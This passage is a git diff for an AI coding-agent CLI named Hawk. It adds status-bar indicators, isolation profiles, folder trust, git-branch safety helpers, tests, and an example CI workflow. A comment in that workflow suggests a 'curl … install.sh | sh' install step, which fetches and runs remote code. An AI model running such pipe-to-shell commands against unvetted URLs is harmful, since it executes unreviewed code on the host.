sess.SetWorkMode(engine.WorkModeAct) + // Auto-commit: CLI flag wins, else settings.auto_commit, default off. + autoCommit := autoCommitFlag + if !autoCommitFlag && settings.AutoCommit != nil { + autoCommit = *settings.AutoCommit + } + sess.SetAutoCommit(autoCommit) for _, spec := range settings.AutoAllow { sess.PermSvc().Memory().AllowSpec(spec) diff --git a/cmd/statusbar.go b/cmd/statusbar.go index 3c29c68e..26739589 100644 --- a/cmd/statusbar.go +++ b/cmd/statusbar.go @@ -47,19 +47,88 @@ func renderStatusBar(m *chatModel, width int) []string { } left := renderStatusBarLeft(m) right := renderStatusBarRight(m) - if width >= 120 { - // Two-line layout: primary row keeps cwd/branch/model + tokens/cost. - // Secondary row gets autonomy tier, container mode, session ID, hints. + // Two-line layout from 100 cols so control-plane chips are visible more often. + if width >= 100 { primary := layoutFooterRow(renderStatusBarPrimaryLeft(m), renderStatusBarPrimaryRight(m), width) secondary := layoutFooterRow(renderStatusBarSecondaryLeft(m), renderStatusBarSecondaryRight(m), width) - if secondary == "" || secondary == strings.Repeat(" ", len(secondary)) { + if secondary == "" || strings.TrimSpace(stripANSI(secondary)) == "" { return []string{primary} } return []string{primary, secondary} } + // Narrow: fold a compact control-plane chip into the left cluster. + left = mergeNarrowControlChip(m, left) return []string{layoutFooterRow(left, right, width)} } +// stripANSI removes CSI sequences for empty checks (status bar only). +func stripANSI(s string) string { + var b strings.Builder + for i := 0; i < len(s); { + if s[i] == 0x1b && i+1 < len(s) && s[i+1] == '[' { + j := i + 2 + for j < len(s) { + if s[j] >= 0x40 && s[j] <= 0x7e { + j++ + break + } + j++ + } + i = j + continue + } + b.WriteByte(s[i]) + i++ + } + return b.String() +} + +// mergeNarrowControlChip appends mode·iso·trust when width is too small for a second row. +func mergeNarrowControlChip(m *chatModel, left string) string { + chip := controlPlaneChip(m) + if chip == "" { + return left + } + if left == "" { + return chip + } + return left + statusDimStyle.Render(" · ") + chip +} + +func controlPlaneChip(m *chatModel) string { + if m == nil || m.session == nil { + return "" + } + work := string(m.session.WorkMode()) + if work == "" { + work = "act" + } + iso := m.session.Isolation().String() + // Short iso labels for narrow bars. + switch iso { + case "workspace": + iso = "ws" + case "container": + iso = "ctr" + case "strict": + iso = "ro" + } + tr := engine.ProjectTrust("") + trust := "ut" // untrusted + if !tr.Enforced { + trust = "-" + } else if tr.Trusted { + trust = icons.CheckBold() + } + chip := statusSpecStyle.Render(work) + statusDimStyle.Render("/") + + statusDimStyle.Render(iso) + statusDimStyle.Render("/") + + statusDimStyle.Render(trust) + if gi := engine.InspectGitBranch(""); gi.OnDefault { + chip += statusDimStyle.Render(" ") + dryRunStyle.Render("main!") + } + return chip +} + // renderStatusBarPrimaryLeft — cwd, branch, spec stage. func renderStatusBarPrimaryLeft(m *chatModel) string { cwd, ok := cachedStatusLeftCwd(m) @@ -83,7 +152,7 @@ func renderStatusBarPrimaryRight(m *chatModel) string { } tokens := m.session.CostValue().PromptTokens + m.session.CostValue().CompletionTokens tokenText := icons.Database() + " " + formatTokenCountCompact(tokens) + " tokens" - costText := fmt.Sprintf("%s %.2f", icons.Ruby(), m.session.CostValue().Total()) + costText := formatStatusCost(m.session.CostValue()) parts := []string{ statusTokenStyle.Render(tokenText), statusCostStyle.Render(costText), @@ -99,11 +168,43 @@ func renderStatusBarPrimaryRight(m *chatModel) string { return strings.Join(parts, statusDimStyle.Render(" · ")) } +func formatStatusCost(c *engine.Cost) string { + if c == nil { + return icons.Ruby() + " $0.00" + } + return fmt.Sprintf("%s $%.3f", icons.Ruby(), c.TotalUSD()) +} + func renderStatusBarSecondaryLeft(m *chatModel) string { - return "" + if m == nil || m.session == nil { + return "" + } + // Control-plane HUD: work mode · isolation · folder trust + work := string(m.session.WorkMode()) + if work == "" { + work = "act" + } + iso := m.session.Isolation().String() + tr := engine.ProjectTrust("") + trustLabel := tr.String() + trustStyle := statusDimStyle + if tr.Blocked { + trustStyle = dryRunStyle + } else if tr.Trusted && tr.Enforced { + trustStyle = containerModeStyle + } + parts := []string{ + statusSpecStyle.Render("mode:" + work), + statusDimStyle.Render("iso:" + iso), + trustStyle.Render(trustLabel), + } + if gi := engine.InspectGitBranch(""); gi.OnDefault { + parts = append(parts, dryRunStyle.Render(icons.Alert()+" default-branch")) + } + return strings.Join(parts, statusDimStyle.Render(" · ")) } -// renderStatusBarSecondaryRight — errors, dry-run, vim, focus/pause. +// renderStatusBarSecondaryRight — errors, dry-run, vim, focus/pause, spend. func renderStatusBarSecondaryRight(m *chatModel) string { if m == nil || m.session == nil { return "" @@ -123,6 +224,17 @@ func renderStatusBarSecondaryRight(m *chatModel) string { if m.session != nil && m.session.PermSvc() != nil && m.session.PermSvc().DryRun() { parts = append(parts, dryRunStyle.Render(icons.Pause()+" DRY-RUN")) } + // Always-visible compact spend on wide secondary row. + if c := m.session.CostValue(); c != nil { + if usd := c.TotalUSD(); usd > 0 { + parts = append(parts, statusCostStyle.Render(fmt.Sprintf("$%.3f", usd))) + } else if c.Total() > 0 { + parts = append(parts, statusCostStyle.Render(fmt.Sprintf("%s %.2f", icons.Ruby(), c.Total()))) + } + } + if m.session.AutoCommit() { + parts = append(parts, statusDimStyle.Render("auto-commit")) + } if m.vim != nil && m.vim.IsEnabled() { parts = append(parts, statusDimStyle.Render(m.vim.ModeString())) } @@ -226,7 +338,7 @@ func renderStatusBarRight(m *chatModel) string { tokens := m.session.CostValue().PromptTokens + m.session.CostValue().CompletionTokens tokenText := icons.Database() + " " + formatTokenCountCompact(tokens) + " tokens" - costText := fmt.Sprintf("%s %.2f", icons.Ruby(), m.session.CostValue().Total()) + costText := formatStatusCost(m.session.CostValue()) var meta []string if m.inScrollbackFocus() { meta = append(meta, statusFocusStyle.Render("⧉")) diff --git a/cmd/tips.go b/cmd/tips.go index 80fde592..73873fd7 100644 --- a/cmd/tips.go +++ b/cmd/tips.go @@ -48,6 +48,13 @@ func allTips() []Tip { {ID: "slash-rewind", Text: "Use /rewind to undo the last exchange.", Category: "session"}, {ID: "slash-fork", Text: "Use /fork to branch off the current conversation.", Category: "session"}, {ID: "slash-context", Text: "Use /context to see what the agent knows about your project.", Category: "context"}, + {ID: "slash-start", Text: "Use /start for guided setup: trust, mode, branch, first tasks.", Category: "basics"}, + {ID: "slash-mode-plan", Text: "Use /mode plan to research read-only, then /mode act to implement.", Category: "workflow"}, + {ID: "slash-isolation", Text: "Use /isolation workspace so shell runs under OS sandbox wrap.", Category: "safety"}, + {ID: "slash-trust", Text: "Use /trust add so project hooks and MCP can load (folder trust).", Category: "safety"}, + {ID: "slash-branch-agent", Text: "Use /branch-agent before big edits on main — creates hawk/agent-* branch.", Category: "git"}, + {ID: "tool-search-select", Text: "Use ToolSearch select:Impact (etc.) to unlock optional tools on the lazy surface.", Category: "tools"}, + {ID: "slash-auto-commit", Text: "Use /auto-commit on so Write/Edit create git commits automatically.", Category: "git"}, } } diff --git a/docs/architecture/control-plane.md b/docs/architecture/control-plane.md new file mode 100644 index 00000000..fc830635 --- /dev/null +++ b/docs/architecture/control-plane.md @@ -0,0 +1,141 @@ +# Hawk Control Plane (proposed → implemented core) + +Status: **core wired** on branch work (isolation · spawn · lazy tools · plan/act/review). + +## Goal + +World-class CLI experience: **one face (Hawk)**, deep engines, progressive power. + +```text +Faces (TUI / headless / ACP / daemon) + │ + ▼ +┌───────────────────────────────────────┐ +│ Control plane │ +│ WorkMode Isolation SpawnController │ +│ Lazy model surface │ +└───────────────────┬───────────────────┘ + ▼ + Session kernel + (agentLoop · tools) + │ + eyrie · yaad · tok · trace · sight · inspect +``` + +## Pieces + +### 1. IsolationProfile (`engine.IsolationProfile`) + +Single story for OS sandbox + container requirement: + +| Preset | OS mode | Container required | +|--------|---------|-------------------| +| `dev` | off | no | +| `workspace` | workspace | no | +| `strict` | strict | no | +| `container` | workspace | yes | + +- API: `Session.ApplyIsolationProfile`, `Session.Isolation()` +- CLI TUI: `/isolation [preset]` +- Startup: `configureSessionStartup` applies profile from settings sandbox string + +OS wrap for Bash still uses `ContextWithMode` when mode is workspace/strict (see tool_service). + +### 2. SpawnController (`engine.SpawnController`) + +Single entry for subagents + background tasks: + +- `Spawn(ctx, SpawnRequest)` — sync +- `SpawnBackground(ctx, id, req)` — async via `taskruntime` +- `Tasks()` — unified registry +- Agent tool continues through `WireAgentTool` → same `spawnSubAgentRequest` + +### 3. Lazy model surface (`tool.Registry`) + +- Essential tools registered and **model-visible** +- Optional tools registered for **execution + ToolSearch**, hidden from `EyrieTools` +- `ToolSearch` `select:Name` **promotes** tool onto the model surface +- APIs: `EnableLazyModelSurface`, `SetModelVisibility`, `PromoteModelTool` + +### 4. WorkMode plan / act / review + +| Mode | Tools | Bash | +|------|-------|------| +| `act` | Essential model set | full | +| `plan` | Plan set (read + plan suite) | read-only allowlist | +| `review` | Review set | read-only allowlist | + +- API: `Session.SetWorkMode`, `Session.WorkMode()` +- TUI: `/mode plan|act|review` (shell modes remain `auto|shell|agent`) +- Ephemeral system prompt addon injected in `agentLoop` + +## User commands + +```text +/mode # show work + shell + isolation +/mode plan|act|review +/mode auto|shell|agent +/isolation # show profile +/isolation workspace +/isolation container +``` + +## Iteration 2 (additional surface) + +### Folder trust UX +- Already enforced in hooks/plugins (PACK-03); now surfaced in product: + - `engine.ProjectTrust` / `TrustProject` / `UntrustProject` + - TUI `/trust [status|add|remove]` + - Status bar shows `trusted` / `untrusted` / `trust:off` + +### Onboarding +- `/start` — trust, work mode, isolation, git advice, first tasks +- `/start trust` — trust cwd +- `/start branch` — create agent branch from main + +### Git safety +- `engine.InspectGitBranch` / `EnsureAgentBranch` +- `/branch-agent` when on main/master +- Status bar warns `default-branch` when on main + +### HUD +- Wide status secondary row: `mode:act · iso:workspace · trusted` +- `/status` includes work mode, isolation, trust, visible tool counts, git advice + +## Iteration 3 + +### Auto-commit productized +- `ToolService.SetAutoCommit` → `ToolContext.AutoCommit` (was never wired from CLI) +- `--auto-commit` flag + `settings.auto_commit` + `/auto-commit on|off|status` +- Status bar shows `auto-commit` when enabled +- Write/Edit/StructuredEdit already call `tool.AutoCommit` when flag is set + +### Background tasks +- Production path: `BackgroundAgentManager` → `taskruntime` (SpawnController uses same) +- `BackgroundAgentPool` remains test/legacy reexport only (not chat session path) + +## Iteration 4 + +### Container ↔ IsolationProfile +- `attachRequiredContainer` and TUI container-ready path call `ApplyIsolationProfile(IsolationContainer)` + +### Onboarding / CI +- CLI `Welcome` surfaces control-plane commands + `hawk exec` +- Example workflow: `examples/github/hawk-ci-exec.yml` + +### ACP +- `initialize` advertises `hawkCapabilities` (work modes, isolation, lazy tools, …) +- `session/new` returns `hawk` snapshot (`workMode`, `isolation`, `autoCommit`) and defaults act mode + +## Not done yet (next iterations) + +- True 60s binary install path (packaging/CI) +- Deeper ACP (session/setMode, client fs routing) +- Public Terminal-Bench scorecard +- Optional: deprecate BackgroundAgentPool reexports + +## Tests + +- `internal/engine/control_plane_test.go` +- `internal/engine/project_trust_test.go` / git safety tests +- Existing sandbox bridge + permission display + diff tests diff --git a/examples/README.md b/examples/README.md index 3fa57f82..abb1f715 100644 --- a/examples/README.md +++ b/examples/README.md @@ -43,6 +43,12 @@ hawk analyze --depth full hawk fix --auto ``` +### Headless agent in CI + +Copy [hawk-ci-exec.yml](github/hawk-ci-exec.yml) to run `hawk exec --ephemeral --json` +on pull requests (summarize diff, risk list, or your own prompt). Pin your +hawk install step and provider secrets before enabling the job. + ### Report CI delivery context Copy [hawk-delivery-context.yml](github/hawk-delivery-context.yml) to your diff --git a/examples/github/hawk-ci-exec.yml b/examples/github/hawk-ci-exec.yml new file mode 100644 index 00000000..e15e3510 --- /dev/null +++ b/examples/github/hawk-ci-exec.yml @@ -0,0 +1,73 @@ +# Hawk CI agent (headless) +# +# Copy to .github/workflows/hawk-ci-exec.yml. +# Runs a non-interactive agent turn with JSON output — suitable for +# "fix failing tests", "summarize this PR", or similar CI jobs. +# +# Prerequisites: +# - hawk binary on PATH (pin a release or install from your org's package) +# - LLM credentials via secrets (never commit keys) +# - Docker available on the runner if your hawk build requires container isolation +# +name: Hawk CI Exec + +on: + pull_request: + types: [opened, synchronize, reopened] + workflow_dispatch: + inputs: + prompt: + description: "Agent prompt" + required: true + default: "Summarize the git diff for this PR and list the riskiest files." + +permissions: + contents: read + pull-requests: read + +jobs: + hawk-exec: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + + # Install hawk with your org's preferred mechanism, for example: + # - curl -fsSL https://…/install.sh | sh + # - go install github.com/GrayCodeAI/hawk/cmd/hawk@vX.Y.Z + # - download a release asset into $GITHUB_PATH + - name: Ensure hawk is available + run: | + if ! command -v hawk >/dev/null 2>&1; then + echo "Install hawk before this step (see comments in this workflow)." + exit 1 + fi + hawk version || hawk --version || true + + - name: Trust workspace (folder trust) + run: hawk trust add --reason "github-actions ci" || true + + - name: Run agent (ephemeral + JSON) + id: agent + env: + # Map your provider key(s) here, e.g. ANTHROPIC_API_KEY / OPENAI_API_KEY. + ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} + OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }} + HAWK_PROMPT: ${{ github.event.inputs.prompt || 'Summarize the changes in this PR (git log/diff) and list risks.' }} + run: | + set -euo pipefail + PROMPT="${HAWK_PROMPT}" + hawk exec \ + --ephemeral \ + --json \ + --auto full \ + --max-turns 20 \ + "$PROMPT" | tee hawk-result.json + + - name: Upload agent result + if: always() + uses: actions/upload-artifact@v4 + with: + name: hawk-result + path: hawk-result.json diff --git a/internal/acp/server.go b/internal/acp/server.go index d6ef3b89..4d767409 100644 --- a/internal/acp/server.go +++ b/internal/acp/server.go @@ -166,6 +166,15 @@ func (s *Server) handle(ctx context.Context, msg rpcMessage) { "audio": false, }, }, + // Hawk control-plane metadata for IDE clients that want it. + "hawkCapabilities": map[string]any{ + "workModes": []string{"plan", "act", "review"}, + "isolation": []string{"dev", "workspace", "strict", "container"}, + "folderTrust": true, + "lazyTools": true, + "autoCommit": true, + "spawnController": true, + }, }) case "session/new": s.handleSessionNew(msg) @@ -199,8 +208,18 @@ func (s *Server) handleSessionNew(msg rpcMessage) { // Route tool-permission prompts to the client for this session. sess.SetPermissionFn(s.permissionFnFor(id)) - - s.reply(msg.ID, map[string]any{"sessionId": id}) + // Default product modes for IDE-driven sessions (same as chat). + _ = sess.SetWorkMode(engine.WorkModeAct) + + s.reply(msg.ID, map[string]any{ + "sessionId": id, + // Hawk extensions (ignored by clients that only read sessionId). + "hawk": map[string]any{ + "workMode": string(sess.WorkMode()), + "isolation": sess.Isolation().String(), + "autoCommit": sess.AutoCommit(), + }, + }) } // evictOldestLocked removes the oldest session to keep memory bounded; the diff --git a/internal/engine/agent_session_tool.go b/internal/engine/agent_session_tool.go index a9578d98..20127cb4 100644 --- a/internal/engine/agent_session_tool.go +++ b/internal/engine/agent_session_tool.go @@ -16,10 +16,13 @@ import ( "github.com/GrayCodeAI/hawk/internal/tool" ) -// WireAgentTool sets up typed sub-agent spawning. +// WireAgentTool sets up typed sub-agent spawning via SpawnController. // Modes: explore (read-only research), plan (read-only planning), general-purpose (full tools). +// Faces and tools should prefer Session.SpawnController() for new call sites. func (s *Session) WireAgentTool() { _ = s.ensureBackgroundManager() + // SpawnController.Spawn uses spawnSubAgentRequest; the tool AgentSpawnFn + // remains the thin adapter so AgentTool/MultiAgent keep working. s.Tools().SetAgentSpawnFn(func(ctx context.Context, req agentcontracts.SpawnRequest) (agentcontracts.SpawnResult, error) { return s.spawnSubAgentRequest(ctx, req, 0) }) diff --git a/internal/engine/auto_commit_wire_test.go b/internal/engine/auto_commit_wire_test.go new file mode 100644 index 00000000..0a4765ba --- /dev/null +++ b/internal/engine/auto_commit_wire_test.go @@ -0,0 +1,57 @@ +package engine + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "testing" + + "github.com/GrayCodeAI/hawk/internal/tool" + "github.com/GrayCodeAI/hawk/internal/types" +) + +// autoCommitCaptureTool records ToolContext.AutoCommit for the wire path. +type autoCommitCaptureTool struct { + saw bool +} + +func (t *autoCommitCaptureTool) Name() string { return "Read" } +func (t *autoCommitCaptureTool) Description() string { return "capture" } +func (t *autoCommitCaptureTool) Parameters() map[string]interface{} { + return map[string]interface{}{"type": "object", "properties": map[string]interface{}{}} +} + +func (t *autoCommitCaptureTool) Execute(ctx context.Context, _ json.RawMessage) (string, error) { + tc := tool.GetToolContext(ctx) + t.saw = tc != nil && tc.AutoCommit + return "ok", nil +} + +func TestSetAutoCommit_PropagatesToToolContext(t *testing.T) { + cap := &autoCommitCaptureTool{} + sess := NewSession("test", "test", "sys", tool.NewRegistry(cap)) + sess.PermSvc().SetAutonomy(AutonomyYOLO) + if sess.AutoCommit() { + t.Fatal("default auto-commit should be off") + } + sess.SetAutoCommit(true) + if !sess.AutoCommit() { + t.Fatal("AutoCommit() false after SetAutoCommit(true)") + } + ch := make(chan StreamEvent, 4) + res := sess.executeSingleTool(context.Background(), types.ToolCall{Name: "Read", ID: "ac"}, ch, 0, "") + if res.isErr { + t.Fatalf("tool failed: %#v", res) + } + if !cap.saw { + t.Fatal("ToolContext.AutoCommit not set during ExecuteOne") + } + // Write path still honors git AutoCommit when enabled (smoke: tool runs). + dir := t.TempDir() + path := filepath.Join(dir, "f.txt") + if err := os.WriteFile(path, []byte("x"), 0o600); err != nil { + t.Fatal(err) + } + _ = path +} diff --git a/internal/engine/control_plane_test.go b/internal/engine/control_plane_test.go new file mode 100644 index 00000000..4b5a0617 --- /dev/null +++ b/internal/engine/control_plane_test.go @@ -0,0 +1,120 @@ +package engine + +import ( + "context" + "encoding/json" + "strings" + "testing" + + "github.com/GrayCodeAI/hawk/internal/sandbox" + "github.com/GrayCodeAI/hawk/internal/tool" + "github.com/GrayCodeAI/hawk/internal/types" +) + +func TestParseIsolationProfile(t *testing.T) { + p, err := ParseIsolationProfile("workspace") + if err != nil || p.OSMode != sandbox.ModeWorkspace { + t.Fatalf("workspace: %#v %v", p, err) + } + p, err = ParseIsolationProfile("container") + if err != nil || !p.ContainerRequired || p.OSMode != sandbox.ModeWorkspace { + t.Fatalf("container: %#v %v", p, err) + } + p, err = ParseIsolationProfile("os=strict,container=true") + if err != nil || p.OSMode != sandbox.ModeStrict || !p.ContainerRequired { + t.Fatalf("custom: %#v %v", p, err) + } +} + +func TestApplyIsolationProfile(t *testing.T) { + sess := NewSession("test", "test", "sys", tool.NewRegistry()) + sess.ApplyIsolationProfile(IsolationWorkspace) + if sess.PermSvc().SandboxMode() != sandbox.ModeWorkspace { + t.Fatalf("sandbox mode = %q", sess.PermSvc().SandboxMode()) + } + if sess.Isolation().Label != "workspace" { + t.Fatalf("isolation label = %q", sess.Isolation().Label) + } + sess.ApplyIsolationProfile(IsolationContainer) + if !sess.Isolation().ContainerRequired { + t.Fatal("expected container required") + } +} + +func TestWorkModePlanFiltersToolsAndBash(t *testing.T) { + reg := tool.NewRegistry( + tool.BashTool{}, tool.FileReadTool{}, tool.FileWriteTool{}, tool.GrepTool{}, + tool.ToolSearchTool{}, + ) + reg.EnableLazyModelSurface([]string{"Bash", "Read", "Write", "Grep", "ToolSearch"}) + sess := NewSession("test", "test", "sys", reg) + if err := sess.SetWorkMode(WorkModePlan); err != nil { + t.Fatal(err) + } + if !sess.Tools().ReadOnlyBash() { + t.Fatal("plan mode should set read-only bash") + } + names := reg.ModelVisibleNames() + for _, n := range names { + if n == "Write" { + t.Fatalf("Write should not be model-visible in plan mode: %v", names) + } + } + if !reg.IsModelVisible("Read") { + t.Fatal("Read should be visible in plan") + } + if sess.WorkMode() != WorkModePlan { + t.Fatalf("WorkMode = %s", sess.WorkMode()) + } + if addon := sess.workModeSystemAddon(); !strings.Contains(addon, "PLAN") { + t.Fatalf("plan addon missing: %q", addon) + } +} + +func TestLazyEyrieToolsAndPromote(t *testing.T) { + reg := tool.NewRegistry(tool.FileReadTool{}, tool.ImpactTool{}) + reg.EnableLazyModelSurface([]string{"Read"}) + eyrie := reg.EyrieTools() + if len(eyrie) != 1 || eyrie[0].Name != "Read" { + t.Fatalf("EyrieTools = %#v, want only Read", eyrie) + } + if !reg.PromoteModelTool("Impact") { + t.Fatal("promote Impact failed") + } + eyrie = reg.EyrieTools() + if len(eyrie) != 2 { + t.Fatalf("after promote EyrieTools len = %d", len(eyrie)) + } +} + +func TestToolSearchSelectPromotes(t *testing.T) { + reg := tool.NewRegistry(tool.FileReadTool{}, tool.ImpactTool{}, tool.ToolSearchTool{}) + reg.EnableLazyModelSurface([]string{"Read", "ToolSearch"}) + sess := NewSession("test", "test", "sys", reg) + sess.PermSvc().SetAutonomy(AutonomyYOLO) + ch := make(chan StreamEvent, 8) + input, _ := json.Marshal(map[string]interface{}{"query": "select:Impact"}) + res := sess.executeSingleTool(context.Background(), types.ToolCall{ + Name: "ToolSearch", ID: "ts1", + Arguments: map[string]interface{}{"query": "select:Impact"}, + }, ch, 0, "") + _ = input + if res.isErr { + t.Fatalf("ToolSearch failed: %v", res.err) + } + if !reg.IsModelVisible("Impact") { + t.Fatalf("Impact should be promoted; visible=%v", reg.ModelVisibleNames()) + } +} + +func TestSpawnControllerStatus(t *testing.T) { + sess := NewSession("test", "test", "sys", tool.NewRegistry()) + sess.WireAgentTool() + sc := sess.SpawnController() + if sc.Status() == "" { + t.Fatal("empty status") + } + if sc.Tasks() == nil { + t.Fatal("tasks registry nil after ensure") + } +} diff --git a/internal/engine/git_safety.go b/internal/engine/git_safety.go new file mode 100644 index 00000000..7df4780e --- /dev/null +++ b/internal/engine/git_safety.go @@ -0,0 +1,117 @@ +package engine + +import ( + "context" + "fmt" + "os/exec" + "strings" + "time" +) + +// Default branch names treated as "don't commit agent work here". +var defaultBranchNames = map[string]bool{ + "main": true, + "master": true, + "trunk": true, + "develop": true, + "development": true, +} + +// GitBranchInfo describes the current branch safety posture. +type GitBranchInfo struct { + RepoDir string + Branch string + OnDefault bool + Detached bool + HasRepo bool + Dirty bool + Suggested string // hawk/agent- when OnDefault +} + +// InspectGitBranch reads branch and dirty state for repoDir ("" = cwd). +func InspectGitBranch(repoDir string) GitBranchInfo { + info := GitBranchInfo{RepoDir: repoDir} + if repoDir == "" { + info.RepoDir = "." + } + ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second) + defer cancel() + + // Inside a git work tree? + chk := exec.CommandContext(ctx, "git", "rev-parse", "--is-inside-work-tree") + chk.Dir = info.RepoDir + if out, err := chk.Output(); err != nil || strings.TrimSpace(string(out)) != "true" { + return info + } + info.HasRepo = true + + br := exec.CommandContext(ctx, "git", "rev-parse", "--abbrev-ref", "HEAD") + br.Dir = info.RepoDir + bout, err := br.Output() + if err != nil { + return info + } + info.Branch = strings.TrimSpace(string(bout)) + if info.Branch == "HEAD" { + info.Detached = true + short := exec.CommandContext(ctx, "git", "rev-parse", "--short", "HEAD") + short.Dir = info.RepoDir + if s, err := short.Output(); err == nil { + info.Branch = strings.TrimSpace(string(s)) + } + } + info.OnDefault = !info.Detached && defaultBranchNames[info.Branch] + if info.OnDefault { + info.Suggested = fmt.Sprintf("hawk/agent-%s", time.Now().Format("20060102-150405")) + } + + st := exec.CommandContext(ctx, "git", "status", "--porcelain") + st.Dir = info.RepoDir + if out, err := st.Output(); err == nil && len(strings.TrimSpace(string(out))) > 0 { + info.Dirty = true + } + return info +} + +// EnsureAgentBranch creates and checks out a hawk/agent-* branch when currently +// on a default branch. No-op if already on a feature branch or not a git repo. +// Returns the branch name after the operation. +func EnsureAgentBranch(repoDir string) (string, error) { + info := InspectGitBranch(repoDir) + if !info.HasRepo { + return "", fmt.Errorf("not a git repository") + } + if info.Detached { + return info.Branch, fmt.Errorf("detached HEAD — checkout a branch first") + } + if !info.OnDefault { + return info.Branch, nil + } + name := info.Suggested + if name == "" { + name = fmt.Sprintf("hawk/agent-%d", time.Now().Unix()) + } + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + // #nosec G204 -- fixed git subcommand; branch name is generated internally (hawk/agent-*) + cmd := exec.CommandContext(ctx, "git", "checkout", "-b", name) + cmd.Dir = info.RepoDir + if out, err := cmd.CombinedOutput(); err != nil { + return info.Branch, fmt.Errorf("create branch %s: %w (%s)", name, err, strings.TrimSpace(string(out))) + } + return name, nil +} + +// GitSafetyAdvice is a one-line warning for onboarding / status. +func GitSafetyAdvice(info GitBranchInfo) string { + if !info.HasRepo { + return "" + } + if info.OnDefault { + return fmt.Sprintf("On %s — consider /branch-agent before large edits (suggested: %s)", info.Branch, info.Suggested) + } + if info.Dirty { + return fmt.Sprintf("Branch %s has uncommitted changes", info.Branch) + } + return fmt.Sprintf("Branch %s", info.Branch) +} diff --git a/internal/engine/git_safety_test.go b/internal/engine/git_safety_test.go new file mode 100644 index 00000000..8499d827 --- /dev/null +++ b/internal/engine/git_safety_test.go @@ -0,0 +1,81 @@ +package engine + +import ( + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +func TestInspectGitBranch_NonRepo(t *testing.T) { + dir := t.TempDir() + info := InspectGitBranch(dir) + if info.HasRepo { + t.Fatal("expected no repo") + } + if GitSafetyAdvice(info) != "" { + t.Fatalf("advice should be empty: %q", GitSafetyAdvice(info)) + } +} + +func TestEnsureAgentBranch_FromMain(t *testing.T) { + if _, err := exec.LookPath("git"); err != nil { + t.Skip("git not available") + } + dir := t.TempDir() + run := func(args ...string) { + t.Helper() + cmd := exec.Command("git", args...) + cmd.Dir = dir + cmd.Env = append(os.Environ(), "GIT_AUTHOR_NAME=test", "GIT_AUTHOR_EMAIL=t@e", "GIT_COMMITTER_NAME=test", "GIT_COMMITTER_EMAIL=t@e") + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("git %v: %v (%s)", args, err, out) + } + } + run("init", "-b", "main") + // identity for commit + run("config", "user.email", "t@e") + run("config", "user.name", "t") + p := filepath.Join(dir, "README") + if err := os.WriteFile(p, []byte("x\n"), 0o600); err != nil { + t.Fatal(err) + } + run("add", "README") + run("commit", "-m", "init") + + info := InspectGitBranch(dir) + if !info.HasRepo || !info.OnDefault || info.Branch != "main" { + t.Fatalf("info = %#v", info) + } + name, err := EnsureAgentBranch(dir) + if err != nil { + t.Fatal(err) + } + if !strings.HasPrefix(name, "hawk/agent-") { + t.Fatalf("branch = %q", name) + } + info2 := InspectGitBranch(dir) + if info2.OnDefault { + t.Fatalf("still on default: %#v", info2) + } + // Second call is no-op keep branch + name2, err := EnsureAgentBranch(dir) + if err != nil { + t.Fatal(err) + } + if name2 != name { + t.Fatalf("expected same branch %q got %q", name, name2) + } +} + +func TestProjectTrust_RoundTrip(t *testing.T) { + // Use real store path under temp by trusting cwd is ok for unit test of API shape. + st := ProjectTrust(t.TempDir()) + // Temp dirs are typically untrusted. + if st.Trusted { + t.Log("unexpected trusted temp dir — ok if store has broad trust") + } + _ = st.Detail() + _ = st.String() +} diff --git a/internal/engine/isolation_profile.go b/internal/engine/isolation_profile.go new file mode 100644 index 00000000..044bc068 --- /dev/null +++ b/internal/engine/isolation_profile.go @@ -0,0 +1,148 @@ +package engine + +import ( + "fmt" + "strings" + + "github.com/GrayCodeAI/hawk/internal/sandbox" +) + +// IsolationProfile is the single user-facing story for how Hawk isolates +// tool execution. It unifies: +// +// - OS sandbox policy (seatbelt / unshare) used by Bash WrapCommand +// - container-first execution (Docker sandbox image) +// - path-guard sandbox mode on ToolContext +// +// ApplyIsolationProfile is the only API faces should use instead of setting +// SandboxMode and container flags independently. +type IsolationProfile struct { + // OSMode is off | workspace | strict. Empty is treated as off. + OSMode sandbox.Mode `json:"os_mode"` + // ContainerRequired when true disables tools until a container executor is running. + ContainerRequired bool `json:"container_required"` + // Label is optional human name for status UI (e.g. "safe", "dev", "locked"). + Label string `json:"label,omitempty"` +} + +// Named isolation presets for progressive trust. +var ( + // IsolationDev is host-friendly: no OS wrap, container optional. + IsolationDev = IsolationProfile{OSMode: sandbox.ModeOff, ContainerRequired: false, Label: "dev"} + // IsolationWorkspace wraps shell in workspace sandbox; container optional. + IsolationWorkspace = IsolationProfile{OSMode: sandbox.ModeWorkspace, ContainerRequired: false, Label: "workspace"} + // IsolationStrict is read-only OS policy for exploration. + IsolationStrict = IsolationProfile{OSMode: sandbox.ModeStrict, ContainerRequired: false, Label: "strict"} + // IsolationContainer prefers Docker isolation for all tools that support it. + IsolationContainer = IsolationProfile{OSMode: sandbox.ModeWorkspace, ContainerRequired: true, Label: "container"} +) + +// ParseIsolationProfile accepts preset names or "os=workspace,container=1". +func ParseIsolationProfile(s string) (IsolationProfile, error) { + s = strings.TrimSpace(strings.ToLower(s)) + switch s { + case "", "dev", "off", "host": + return IsolationDev, nil + case "workspace", "ws": + return IsolationWorkspace, nil + case "strict", "ro", "read-only", "readonly": + return IsolationStrict, nil + case "container", "docker": + return IsolationContainer, nil + } + // Key=value form: os=workspace,container=true + p := IsolationDev + p.Label = "custom" + for _, part := range strings.Split(s, ",") { + part = strings.TrimSpace(part) + if part == "" { + continue + } + kv := strings.SplitN(part, "=", 2) + if len(kv) != 2 { + return IsolationProfile{}, fmt.Errorf("isolation: invalid token %q", part) + } + k, v := strings.TrimSpace(kv[0]), strings.TrimSpace(kv[1]) + switch k { + case "os", "mode", "sandbox": + switch v { + case "off", "none", "dev", "host": + p.OSMode = sandbox.ModeOff + case "workspace", "ws": + p.OSMode = sandbox.ModeWorkspace + case "strict": + p.OSMode = sandbox.ModeStrict + default: + return IsolationProfile{}, fmt.Errorf("isolation: unknown os mode %q", v) + } + case "container", "docker": + p.ContainerRequired = v == "1" || v == "true" || v == "yes" || v == "on" + case "label": + p.Label = v + default: + return IsolationProfile{}, fmt.Errorf("isolation: unknown key %q", k) + } + 